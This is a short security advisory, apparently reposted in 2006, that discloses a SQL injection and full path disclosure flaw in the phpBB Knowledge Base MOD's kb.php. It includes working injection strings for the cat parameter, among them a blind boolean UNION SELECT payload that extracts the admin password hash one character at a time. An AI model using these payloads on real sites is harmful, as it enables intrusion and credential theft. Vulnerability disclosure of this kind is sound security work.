[SePro Advisory #2] phpBB - Knowledge Base MOD - SQL-Injection&Full Path Disclosure

z4ratustra · 12. Februar 2006

[SePro Advisory #2] phpBB - Knowledge Base MOD SQL-Injection vulnerability and Full Path Disclosure
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Vendor: phpbb
URL:http:/www.phpbb.com/
Risk:High
Date: 18.04.05

Credits:
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Discovered by [R] and deluxe89

Discussion:
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The phpbb - Knowledge Base MOD has a relatively hard to exploit SQL-Injection vulnerability.
However, an attacker can exploit this bug and receive informations from the database.

The Bug:
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The script doesn't filter the cat variable.
If we apply something wrong here:

/kb.php?mode=cat&cat='

We will get an error similar to this:

Could not obtain category data
DEBUG MODE
SQL Error : 1064 You have an error in your SQL syntax
SELECT * FROM phpbb_kb_categories WHERE category_id = \'
Line : 131
File : /here/is/the/full/path/functions_kb.php

/kb.php?mode=cat&cat=0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users+WH ERE+1=0
No match: Categorie doesn't exist.

/kb.php?mode=cat&cat=0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users
Match: DEBUG MODE - SQL-Error

Therefor the only thing an attacker can find out is whether a row is matched or not.

Exploit:
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The attacker may compare the informations in the database with test values. Example:

0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users+WHERE+ user_id=2+AND+ascii(substring(user_password,1,1))= 97

If it returns an SQL-Error, the first character of the hash is an 'a'.
Exploit available at the websites below.

Patch:
================================
No patch available by now.

Greetz to madinfect, reddi, darkkilla, EaTh, Astovidatu and Doc

http://www.security-project.org

http://www.batznet.com

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[SePro Advisory #2] phpBB - Knowledge Base MOD - SQL-Injection&Full Path Disclosure

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